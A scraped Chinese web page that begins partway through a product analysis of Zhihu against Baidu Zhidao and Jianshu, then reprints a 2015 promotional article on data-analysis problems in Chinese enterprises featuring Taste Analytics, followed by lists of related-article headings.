从答案呈现方面看，尽管百度知道也允许用户点赞，但并没有像知乎一样采用点赞筛选机制，也不会对没有帮助的答案进行折叠。用户上知乎app搜问题只会得到一个最高质量的解答，而百度知道默认呈现所有答案，对用户来说，后者的选择更多但耗时也多。因此知乎会显得更高效和专业。

具体到回答撰写页面，百度知道直接罗列所有支持功能，不提供“禁止转载”也不能自动保存，但会默认呈现题目，解决用户不想放弃作答又想看回题目的需求。（题目包含问题过多怕疏漏/答案太长怕跑题..）

此外，从结构层次来看，百度知道把“提问”放在一级菜单、“回答”放在首页的二级菜单，而知乎直接将两者置于一处，显然层次更为清晰；从社交体验上讲，相比百度知道，知乎允许其他用户在答主的回答下展开讨论，也允许答主在撰写答案时@其他用户，用户互动渠道更多。

（3）写文章（知乎VS简书）

简书“写文章”的入口在一级菜单中，尽管简书提供字数统计和比知乎强大得多的排版编辑功能，其界面风格仍能保持简洁。从个人体验来讲，明显简书“写文章”更为人性化。希望知乎日后能对“写文章”的体验再做一些改进。

4、商业模式

知乎自今年4月起先后推出了值乎、原生广告、知乎Live、知乎书店，并支持了付费授权和专栏赞赏功能，商业化加速，知乎正谋求从内容社区升级为服务平台。当前知乎的商业变现仍是以广告和付费内容服务为主。

5、总结

总体来看，多年来知乎一直紧紧围绕自身的产品定位，通过有效的用户管理和激励机制、用户自筛选和主页推送机制打造高质量和专业化的知识社区氛围。其产品的功能流程逻辑清晰，结构层次简单清楚，界面简单自然。但在提高“问答”的有效互动频率和“写文章”的体验方面还有可优化的空间。

在变现路上，如今的知乎已成功打造商业闭环，当用户在知乎书店读完一本电子书后，不仅能通过社区问答进一步就书中内容进行拓展讨论，更可以浏览作者的专栏文章，或者参与作者的知乎Live，通过“值乎”进行一对一的个性化咨询。也许在未来，知乎还可以考虑切入专业招聘领域。

参考资料：

1.艾瑞咨询《2016年中国移动社交行业系列研究报告-产品篇》

2.艾瑞咨询《中国知识付费行业发展白皮书2016-V5》

本文由 @Janet 原创发布于人人都是产品经理。未经许可，禁止转载。

国内数据分析“七宗罪” 美国进入“非结构化”数据分析新时代

Sat, 19 Sep 2015 01:27:20 CST

199IT数据中心微信账户：i199IT

目前，对国内大部分企业级客户而言，大数据时代已经真正到来了。

虽然，近年来“大数据”及“数据分析”概念被炒得很火，但国内，国内很多CIO/CTO们仍很“害怕数据”——一方面，企业充斥着无从分析的非结构化数据；另一方面，结构化数据分析方面，与非结构一样面临着方法不科学、周期冗长、性价比低、不能直接产生经济效益等典型的问题。国内大数据分析越来越陷入到一种不得要领、颇为鸡肋的僵局。

而反观大洋彼岸的美国，新技术正推动着美国数据分析产业进入到一个新的阶段——目前美国很多企业客户不仅开始分析非结构化数据，并通过引入“实时分析”、“数据驱动”（Data-driven）、“人机互动”等最新的数据分析理念，实现了企业数据分析与经济效益的有效联动。

每一次产业升级都会孕育出多个独角兽公司，而此次推动数据分析产业变革的正是以Taste Analytics为代表的从美国顶尖级数据可视化中心走出来的数据科学家们。

“这是一场不可思议的革命，你很难想象企业非结构化数据中蕴含的宝藏，我们在启用Taste平台的第一天就发现了一年以来客户邮件一直在抱怨的一个纰漏，从而及时挽回了品牌声誉。”美国某著名家电厂商CIO告诉我。

国内数据分析“七宗罪”

每一个做过调研的人，都会惊讶于中美两国在大数据分析理念和客户心态上的巨大差别。

“企业数据分析，中美在理念方面相差2-3年，而在实际执行层面或许有5年左右的差距。”美国数据分析科学家、Taste Analytics创始人及全美五大可视化研究中心的Derek Wang（汪晓宇）博士表示。

目前，国内的企业级客户在进行大数据分析时，仍以分析结构化数据为主，而对于内涵丰富的非结构化数据，市面上并没有有效的工具进行分析。

同时，在进行结构化数据分析时，仍采用了“招标＋外包”的传统模式，即需要大数据分析服务的企业按照历史经验首先建立自己的数据分析KPI（关键绩效指标），然后将整个数据分析任务外包给第三方大数据公司，经过数月的时间后，大数据公司将数据分析的结果返还给甲方企业。

Derek Wang博士表示，这种数据分析的模式，会产生以下几方面的问题，这些问题也正是目前国内的CIO/CTO们颇为头痛的问题。

首先，错过了内涵丰富的非结构化数据。相比结构化数据，非结构化数据对企业同样重要，而目前，国内企业在进行非结构化数据分析方面仍在初始阶段。

第二，KPI非数据驱动生成，缺乏科学性。国内大数据KPI的制定常常以人为经验为准，而不是由数据驱动并且实时生成的，这就有可能造成KPI常年不变，并且缺乏科学性。

第三，数据分析过程冗长。国内企业在进行大数据分析时采用“招标－乙方返还数据分析结果”的方式，整个周期少则也需要1-2个月的时间，往往返还回结果时，企业内部的相关数据已经完全改变了。

第四，浪费了企业内部的分析师资源。采用外包的方式，其实完全浪费了企业内部的分析师资源，从经济效益上很不划算。

第五，数据安全性无法保障。外包的另一个问题就是数据的安全性问题，企业想确保数据以安全的方式交予第三方大数据公司，往往需要耗费额外的时间和经济成本。

第六，数据分析结果不能与企业经济效益直接挂钩。国内企业在进行数据分析时，不仅往往需要数月的时间，而且常常为了分析而分析，分析完之后并不能很好地将分析结果运用到企业经济效益的改善上。

第七，第三方大数据公司分析能力有限。企业看似将数据分析的重任交予了第三方公司，但第三方公司由于缺乏动态、数据驱动的数据分析工具，它其实也是在按照经验制定KPI和进行数据分析，这样分析出的结果难言科学有效。

对此，业内受访专家表示，目前国内企业陷入的数据分析困局，一部分是理念问题，而更多的是技术的制约以及工具的缺乏。“比如对于非结构化数据，其实每个企业都是非常渴望分析，并且希望实时分析的，但目前仍苦于在公开市场上没有好用的分析平台。”

新技术推动形成数据分析新理念

事实上，中国企业遇到的问题，美国企业客户也曾经经历过。美国某著名家电厂商相关受访人士告诉认为，自己也经历过对非结构化数据头大、不能实时科学地分析企业内部数据等问题。

但今年以来，随着美国在非结构化语义分析以及人机互动的图像可视化等技术领域取得关键性突破，尤其伴随着全美五大图像可视化中心之一的北卡罗来纳大学（UNC）夏洛特图像可视化中心的科学家们从学术界走到工业界，推出了实时动态的、结果易读的综合智能数据分析平台The Taste Signals Platform，对美国的企业级用户而言，不论是非结构化数据，还是实时数据分析——以往常见的数据分析难点都被一一攻克了。

“从学术研究成果到工业界，科技再次显示出了它强大的生产力，”美国某著名家电厂商相关受访人士表示，“我们以前不知道怎么处理像雪片一样涌来的客户邮件，有了Taste的新平台和技术，我们内部的分析师第一天就发现了，一年以来客户一直在邮件中抱怨我们一个产品实际的序列号位数与网站注册位数严重不匹配。这是一个我们常规思维中所预想不到的严重的产品问题，但在没有非结构化数据分析工具之前，我们完全无从发现这样的问题。”

不仅上述家电厂商，全美某著名银行IT部门的受访人士也表示，按照经验，他们的管理层曾经想花重金建立银行的某项支付功能，但通过对十几万条客户网络聊天信息进行非结构化数据的分析，他们发现仅有100多条客户谈及该支付功能，“数据驱动的分析让我们学会相信数据而不是跟随潮流，我们最终愉快地决定暂缓该功能的开发——非结构化数据分析让我们优化了我们的产品结构，更加有效的利用了我们的资金，实现了对于我们主营业务的提升”。

可以看到，目前在美国，很多主流的企业已经进入到了以非结构化数据分析以及数据驱动、实时分析、人机互动、结果易读等为特点的数据分析的新纪元。据了解，在The Taste Signals Platform等强大数据分析平台支持下，相比国内客户，目前美国客户已经形成了在数据分析方面的新理念。

首先，信任数据而不是经验。国内客户在制定数据分析KPI时，更多地依靠既往的经验，而美国客户则更多地相信通过机器学习的数据平台工具得出的数据挖掘的结果，即使这些结果有可能背离传统的经验（上述美国某银行就是一个很好的例子）。

其次，数据分析重要的不是工具本身，而是通过工具提升内部分析师的生产力。在美国客户眼中，数据分析更重要的在于充分调动起企业内部分析师的能动性，对他们而言，数据分析不是一个外包或者被动等结果的过程，而是一个利用更先进的数据分析平台工具提升内部人员生产力以及实时的人机互动的过程。

再次，非机构化数据与结构化数据同样重要。美国客户不仅希望看到“树木”，更希望看到“森林”，这就意味着他们不仅希望实时分析结构化数据，也希望分析非结构化的数据，并且对于每一个科学分析出的关键指标，他们都会分别建立舆情模型，再进行更加细化的数据分析。这是一个循序渐进的过程。

第四，将数据分析与经济效益直接挂钩。美国客户更希望将数据分析的结果用于改善经济效益，比如美国某银行就通过数据分析节省了几千万的某支付功能的开发成本；而上述家电厂商也通过数据分析提升了用户满意度以及品牌形象。

年末重新定义国内“数据分析平台”

正如苹果定义了智能手机，将手机产业带入一个新的时代，每一次技术变革的背后往往都会孕育出优秀的甚至独角兽公司。而在此次美国的数据分析产业升级换代中，由美国夏洛特图像可视化中心的几个年轻的科学家就扮演了这样的角色。

他们开发的系统是一套可用于每一个企业日常经营的实时的智能数据分析平台，其最独特的地方在于强大的非结构化数据的分析能力，目前其不仅可以分析传统的结构化数据，也可以分析包括中文在内的12种文字、语音等非结构化数据。

“我们可以分析各种非结构数据，其中既包括企业内部邮件、客户聊天记录、电话中心数据等一手的非机构化数据，也包括企业在电商上的二手数据，以及社交网络、新闻、博客等第三方数据。”创始人Derek Wang博士表示。

同时，在对数据、文字以及语音进行分析时，其系统也定义了“人机互动”、“实时分析”、“数据驱动”、“结果易读”等新型数据分析平台的典型特征。

传统的数据分析更像是一个被动的等结果的过程，而新一代的数据分析更讲究企业内部分析师与机器的互动，我们将数据分析的过程分为三大步，第一步是数据驱动的语义分析，客户将成百上千万条数据导入系统中，系统会快速分析出机器学习到的各种结果信息和图表；第二步，客户通过我们简洁易读的图像可视化的界面，根据自身需求观察、解读和分析机器学习出来的结果；第三步是根据第二步的结果，客户可以利用系统建立自己的舆情分析模型，而从再次将该模型代入到分析平台中形成新的数据监控流。”Derek Wang博士如是说，“可以看到整个数据分析的过程形成了一个实时的正向的循环。

摘自：CSDN

IT瘾分析推荐

中国新就业形态研究中心：2025年网约车司机月均收入7623元

更多阅读：

探索性数据分析详解

什么是探索性数据分析？

探索性数据分析的一般流程

数据总览

探索性分析每个变量

1）连续数据分析

2）离散数据分析

变量间关系分析

1）连续型变量与连续型变量关系

2）离散变量和离散变量关系

3）离散变量和连续变量关系

4） 其他

探索性数据分析的的产出

探索性数据分析的辅助工具

相关文章:

这是我见过最好的用户增长分析模型

00 用户增长的本质

01 第一：赛道选择

02 第二：客群选择

1、用户消费力分层

2、用户成长路径

03 第三：获取渠道

04 第四：转化方式

05 第五：投入产出核算

06 小结

使用 Nginx 构建前端日志统计服务

背景

日志收集

日志拆分

为何要拆分日志

如何拆分日志

定时任务

编码

日志分析

readline

逐行分析日志结果

统计结果入库

日志删除

定时任务整合

定时拆分

定时分析并入库

定时删除

总结

如何收集竞争情报——财报解读

1，如何找到竞品的财务报表

美国证券交易委员会(SEC)

香港交易所(HKEx)

上海证券交易所和深圳证券交易所

2，哪几类财报需要重点关注

3，财报中的哪些内容最有价值

风险(Risk Factors)

行业(INDUSTRY)

公司业务(Business)

财务状况与经营成果的管理探讨与分析(MD&A)

4，如何获取其他财报相关信息

潜在语义分析LSA初探

什么是潜在语义分析LSA？

潜在语义分析LSA原理

潜在语义分析LSA优缺点

潜在语义分析LSA代码示例

潜在语义分析实战：基于LSA的情感分类

潜在语义分析LSA的进化

LSA

pLSA

LDA

深度学习中的 LDA：lda2vec

相关文章:

设计师应该如何正确的做竞品分析？

一、明确目标，选择竞品

1. 明确目标

2. 选择竞品

二、了解竞品商业背景

三、基于目的，分析竞品

1. 拆解用户路径

2. 保留页面截图

四、视觉分析

1. 基础规范

4）其他

`readline`

一、行业背景

五总结